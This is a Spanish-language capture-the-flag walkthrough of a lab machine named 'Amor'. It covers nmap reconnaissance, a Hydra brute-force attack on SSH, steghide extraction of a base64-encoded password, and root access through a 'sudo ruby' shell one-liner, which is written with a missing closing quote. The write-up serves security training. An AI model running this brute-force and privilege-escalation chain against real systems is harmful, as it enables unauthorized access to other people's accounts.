---
description: '✍️ Autor: Romabri🔍 Dificultad: Fácil  📅 Fecha de creación: 26/04/2024'
---

# Amor

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F0zwUWpQhgG3nnYjItaFK%2F0.png?alt=media" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FSJ2gXL2xKumlQFrCGQf1%2F1.png?alt=media)

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FbKVQig45hUZYv7QWrdsg%2F2.png?alt=media" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea de una empresa de seguridad.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FBmVCbQLpajbPTPSDT03u%2F3.png?alt=media)

### 🚀 **EXPLOTACIÓN**

Con la información obtenida anteriormente, realizamos el comando:

```bash
hydra -l carlota -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 5
```

que utiliza la herramienta **Hydra** para realizar un ataque de fuerza bruta contra el servicio **SSH** de una máquina con la IP **172.17.0.2**. Hemos probado con **Juan**, pero el usuario que responde es **carlota**.

Al realizar el ataque de fuerza bruta, descubrimos la contraseña de **carlota**, por lo que nos conectamos a través de **SSH** al usuario con el comando:

```bash
ssh carlota@172.17.0.2
```

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FwgakCyL3ZqOM3Uw3dc8v%2F5.png?alt=media)

Indagando entre los directorios encontramos que hay una imagen por lo que a través de **SFTP** la trasladaremos a nuestra propia máquina. Esto se puede llevar a cabo ya que conocemos las credenciales perfectamente.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FnCBNLNv07AHtiF8tYTxm%2F6.png?alt=media)

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F57aIS0W4HGBWbPFsfXM5%2F7.png?alt=media)

Con el comando:

```bash
steghide extract -sf imagen.jpg
```

extraemos datos ocultos de un archivo de imagen llamado **imagen.jpg** usando la herramienta **Steghide**, obteniendo un archivo llamado **secret.txt**.

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJemXu6zQuW2M14Hcec3H%2F8.png?alt=media)

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvHU6gTB7JjhjN49j2Kgj%2F9.png?alt=media)

Como comprobamos que el contenido está en **base64**, lo decodificamos con el comando:

```bash
echo "ZXNsYWNhc2FkZXBpbnlwb24=" | base64 --decode
```

![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F0aLKA4KamurvxUpEWbIE%2F10.png?alt=media)

Al parecer, es una contraseña. En la carpeta **home** hay tres usuarios en los cuales podemos probar esa contraseña. Nos damos cuenta de que podemos acceder como **Óscar**. Al tener acceso, observamos los permisos y explotamos el binario de **Ruby** con el comando:

```bash
sudo ruby -e 'exec "/bin/sh"
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F3dL42buhHeXKCUcFKzPn%2Fimage.png?alt=media&#x26;token=915ba19e-3161-4a8f-9611-5eeb2a829a6a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEDXtCJFXG2djl0RL3bPr%2Fimage.png?alt=media&#x26;token=f99497f1-64dd-4ff4-9f51-8ce3eb6bb0ec" alt=""><figcaption></figcaption></figure>
